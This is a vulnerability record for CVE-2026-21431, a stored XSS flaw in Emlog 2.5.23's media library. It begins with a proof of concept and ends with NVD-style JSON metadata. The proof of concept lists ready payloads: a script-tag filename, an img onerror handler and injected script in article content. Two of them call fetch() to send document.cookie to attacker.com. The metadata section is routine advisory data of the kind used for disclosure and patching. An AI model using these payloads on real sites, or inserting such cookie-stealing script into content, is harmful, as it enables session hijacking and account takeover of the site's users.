CVE-2026-21431

<!-- CVE-2026-21431 Stored XSS PoC --> <!-- Emlog 2.5.23 Resource Media Library XSS --> <!-- Step 1: Upload malicious filename via media library --> <!-- Intercept the upload request and modify filename to: --> <script>alert(document.cookie)</script>.jpg <!-- Step 2: Alternatively, inject via article content --> <!-- When creating an article, inject in resource reference --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Step 3: Example POST request to trigger XSS --> <!-- POST /admin/article.php?action=save --> <!-- Content-Disposition: form-data; name="content" --> <p>Article content with <script>fetch('https://attacker.com/log?cookie='+document.cookie)</script> embedded</p>

{"cve": {"id": "CVE-2026-21431", "sourceIdentifier": "[email protected]", "published": "2026-01-02T19:15:47.857", "lastModified": "2026-01-16T17:13:01.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. Version 2.5.23 has a stored cross-site scripting vulnerability in the `Resource media library ` function while publishing an article. As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "Emlog es un sistema de creación de sitios web de código abierto. La versión 2.5.23 tiene una vulnerabilidad de cross-site scripting almacenado en la función 'Resource media library' al publicar un artículo. Al momento de la publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.23:*:*:*:pro:*:*:*", "matchCriteriaId": "CBBD3D75-C2B3-4727-9B9E-6408956E4ADB"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-9vc2-crhr-248x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}